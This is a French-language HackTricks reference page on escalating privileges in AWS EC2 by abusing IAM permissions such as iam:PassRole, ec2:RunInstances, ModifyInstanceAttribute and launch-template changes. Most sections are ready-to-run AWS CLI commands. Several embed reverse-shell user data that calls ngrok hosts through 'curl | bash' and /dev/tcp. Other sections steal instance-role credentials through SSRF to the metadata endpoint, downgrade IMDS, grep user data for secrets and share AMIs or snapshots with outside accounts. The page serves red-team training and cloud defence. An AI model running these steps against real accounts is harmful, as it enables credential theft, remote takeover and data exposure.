AWS - EC2 Privesc

Reading time: 14 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

EC2

Pour plus d'informations sur EC2, consultez :

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Un attaquant pourrait créer une instance en y attachant un rôle IAM puis accéder à l'instance pour voler les identifiants du rôle IAM depuis le point de terminaison des métadonnées.

  • Accès via SSH

Lancez une nouvelle instance en utilisant une créée ssh key (--key-name) puis connectez-vous en SSH dessus (si vous voulez en créer une nouvelle vous pourriez avoir besoin de l'autorisation ec2:CreateKeyPair).

bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Accès via rev shell dans user data

Vous pouvez lancer une nouvelle instance en utilisant un user data (--user-data) qui vous enverra une rev shell. Vous n'avez pas besoin de spécifier de security group de cette façon.

bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Faites attention avec GuradDuty si vous utilisez les identifiants du IAM role en dehors de l'instance :

AWS - GuardDuty Enum

Impact potentiel : privesc direct vers n'importe quel EC2 role attaché à des instance profiles existants.

Privesc to ECS

Avec cet ensemble de permissions, vous pourriez aussi créer une EC2 instance et l'enregistrer dans un ECS cluster. De cette façon, les services ECS seront exécutés à l'intérieur de l'EC2 instance à laquelle vous avez accès, et vous pourrez ensuite pénétrer ces services (docker containers) et voler leurs ECS roles attachés.

bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Pour apprendre comment forcer l'exécution des services ECS sur cette nouvelle instance EC2, consultez :

AWS - ECS Privesc

Si vous ne pouvez pas créer une nouvelle instance mais que vous avez la permission ecs:RegisterContainerInstance, vous pourriez être capable d'enregistrer l'instance dans le cluster et d'effectuer l'attaque commentée.

Impact potentiel : Direct privesc to ECS roles attached to tasks.

iam:PassRole, iam:AddRoleToInstanceProfile

Comme dans le scénario précédent, un attaquant disposant de ces permissions pourrait changer le rôle IAM d'une instance compromise afin de voler de nouveaux identifiants.
Comme un instance profile ne peut avoir qu'un seul rôle, si l'instance profile a déjà un rôle (cas courant), vous aurez aussi besoin de iam:RemoveRoleFromInstanceProfile.

bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Si l'instance profile a un role et que l'attacker ne peut pas le supprimer, il existe une autre solution de contournement. Il pourrait trouver un instance profile sans role ou créer un nouveau (iam:CreateInstanceProfile), ajouter le role à cet instance profile (comme discuté précédemment), et associer l'instance profile compromis à une instance: compromise

  • Si l'instance n'a aucun instance profile (ec2:AssociateIamInstanceProfile)
bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Impact potentiel : Direct privesc vers un autre EC2 role (vous devez avoir compromis une instance AWS EC2 et disposer de permissions supplémentaires ou d'un statut spécifique d'instance profile).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Avec ces permissions, il est possible de changer l'instance profile associée à une instance ; ainsi, si l'attaquant a déjà accès à une instance, il pourra voler des identifiants pour davantage de rôles d'instance profile en modifiant celui qui y est associé.

  • Si elle possède un instance profile, vous pouvez retirer l'instance profile (ec2:DisassociateIamInstanceProfile) et l'associer
bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • ou remplacer l'instance profile de l'instance compromise (ec2:ReplaceIamInstanceProfileAssociation).
bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>

Impact potentiel : Privesc direct vers un autre EC2 role (vous devez avoir compromis une instance AWS EC2 et disposer d'une permission supplémentaire ou d'un statut d'instance profile spécifique).

ec2:RequestSpotInstances,iam:PassRole

Un attaquant avec les permissions ec2:RequestSpotInstancesandiam:PassRole peut demander une Spot Instance avec un EC2 Role attaché et un rev shell dans le user data.
Une fois que l'instance est lancée, il peut steal the IAM role.

bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Un attaquant disposant de la ec2:ModifyInstanceAttribute peut modifier les attributs de l'instance. Parmi eux, il peut changer le user data, ce qui implique qu'il peut faire exécuter à l'instance des données arbitraires, ce qui peut être utilisé pour obtenir une rev shell sur l'instance EC2.

Notez que les attributs ne peuvent être modifiés que lorsque l'instance est arrêtée, d'où la nécessité des permissions ec2:StopInstances et ec2:StartInstances.

bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Impact potentiel : Privesc direct sur tout EC2 IAM Role attaché à une instance créée.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Un attaquant disposant des permissions ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateand ec2:ModifyLaunchTemplate peut créer une nouvelle version de Launch Template contenant un rev shell dans les user data et n'importe quel EC2 IAM Role dessus, changer la version par défaut, et faire en sorte que tout Autoscaler group utilisant ce Launch Template, s'il est configuré pour utiliser la latest ou la default version, redémarre les instances utilisant ce template et exécute le rev shell.

bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Impact potentiel : Direct privesc vers un autre EC2 role.

(autoscaling:CreateLaunchConfiguration | ec2:CreateLaunchTemplate), iam:PassRole, (autoscaling:CreateAutoScalingGroup | autoscaling:UpdateAutoScalingGroup)

Un attaquant disposant des permissions autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole peut créer une Launch Configuration avec un IAM Role et un rev shell dans le user data, puis créer un autoscaling group à partir de cette config et attendre que le rev shell récupère le IAM Role.

bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Impact potentiel : Escalade directe (privesc) vers un autre rôle EC2.

!autoscaling

L'ensemble des permissions ec2:CreateLaunchTemplate et autoscaling:CreateAutoScalingGroup ne suffisent pas à escalader les privilèges vers un rôle IAM car pour attacher le rôle spécifié dans le Launch Configuration ou dans le Launch Template vous avez besoin des permissions iam:PassRole et ec2:RunInstances (ce qui est un privesc connu).

ec2-instance-connect:SendSSHPublicKey

Un attaquant disposant de la permission ec2-instance-connect:SendSSHPublicKey peut ajouter une clé ssh à un utilisateur et l'utiliser pour y accéder (s'il a accès ssh à l'instance) ou pour escalader les privilèges.

bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Impact potentiel : Privesc direct vers les EC2 IAM roles attachés aux instances en cours d'exécution.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Un attaquant disposant de la permission ec2-instance-connect:SendSerialConsoleSSHPublicKey peut ajouter une clé ssh à une connexion série. Si la console série n'est pas activée, l'attaquant a besoin de la permission ec2:EnableSerialConsoleAccess pour l'activer.

Pour se connecter au port série, l'attaquant doit également connaître le nom d'utilisateur et le mot de passe d'un utilisateur à l'intérieur de la machine.

bash
aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Cette méthode n'est pas très utile pour le privesc car il faut connaître un nom d'utilisateur et un mot de passe pour l'exploiter.

Potential Impact: (Très difficile à prouver) Privesc direct vers les EC2 IAM roles attachés aux instances en cours d'exécution.

describe-launch-templates,describe-launch-template-versions

Puisque les launch templates ont un système de versioning, un attaquant disposant des permissions ec2:describe-launch-templates et ec2:describe-launch-template-versions pourrait les exploiter pour découvrir des informations sensibles, par exemple des identifiants présents dans user data. Pour cela, le script suivant parcourt toutes les versions des launch templates disponibles :

bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done

Dans les commandes ci‑dessus, bien que nous spécifiions certains motifs (aws_|password|token|api), vous pouvez utiliser une regex différente pour rechercher d'autres types d'informations sensibles.

Si nous trouvons aws_access_key_id et aws_secret_access_key, nous pouvons utiliser ces identifiants pour nous authentifier auprès d'AWS.

Impact potentiel : Escalade de privilèges directe vers des IAM user(s).

Références

ec2:ModifyInstanceMetadataOptions (Rétrogradation d'IMDS pour permettre le vol d'identifiants via SSRF)

Un attaquant capable d'appeler ec2:ModifyInstanceMetadataOptions sur une instance EC2 victime peut affaiblir les protections IMDS en activant IMDSv1 (HttpTokens=optional) et en augmentant le HttpPutResponseHopLimit. Cela rend le point de terminaison des métadonnées de l'instance accessible via des chemins SSRF/proxy courants depuis les applications s'exécutant sur l'instance. Si l'attaquant peut déclencher une SSRF dans une telle application, il peut récupérer les instance profile credentials et pivoter avec eux.

  • Permissions requises : ec2:ModifyInstanceMetadataOptions sur l'instance cible (plus la capacité d'atteindre/déclencher une SSRF sur l'hôte).
  • Ressource cible : l'instance EC2 en cours d'exécution avec un instance profile attaché (IAM role).

Commands example:

bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
--query 'Reservations[0].Instances[0].MetadataOptions'

# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-endpoint enabled --http-tokens optional \
--http-put-response-hop-limit 3 --instance-metadata-tags enabled

# 3) Through the SSRF, enumerate role name
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# 4) Through the SSRF, steal the temporary credentials
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"

# 5) Use the stolen credentials
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity

# 6) Restore protections (require IMDSv2, low hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1

Impact potentiel : Vol des instance profile credentials via SSRF entraînant une élévation de privilèges et un mouvement latéral avec les permissions du rôle EC2.

ec2:ModifyInstanceMetadataOptions

Un attaquant disposant de la permission ec2:ModifyInstanceMetadataOptions peut affaiblir les protections d'Instance Metadata Service (IMDS) — par exemple en forçant IMDSv1 (en rendant HttpTokens non requis) ou en augmentant HttpPutResponseHopLimit — facilitant ainsi l'exfiltration d'identifiants temporaires. Le vecteur de risque le plus pertinent est l'augmentation de HttpPutResponseHopLimit : en augmentant cette limite de saut (TTL), le point de terminaison 169.254.169.254 cesse d'être strictement limité au namespace réseau de la VM et peut devenir accessible par d'autres processus/conteneurs, permettant le vol d'identifiants.

bash
aws ec2 modify-instance-metadata-options \
--instance-id <INSTANCE_ID> \
--http-tokens optional \
--http-endpoint enabled \
--http-put-response-hop-limit 2

ec2:ModifyImageAttribute, ec2:ModifySnapshotAttribute

Un attaquant disposant des autorisations ec2:ModifyImageAttribute et ec2:ModifySnapshotAttribute peut partager des AMI ou des snapshots avec d'autres comptes AWS (ou même les rendre publics), exposant des images ou des volumes qui peuvent contenir des données sensibles telles que des configurations, des credentials, des certificats ou des sauvegardes. En modifiant les launch permissions d'une AMI ou les create-volume permissions d'un snapshot, l'attaquant permet à des tiers de lancer des instances ou de monter des disques à partir de ces ressources et d'accéder à leur contenu.

Pour partager une AMI avec un autre compte :

bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Pour partager un snapshot EBS avec un autre compte :

bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks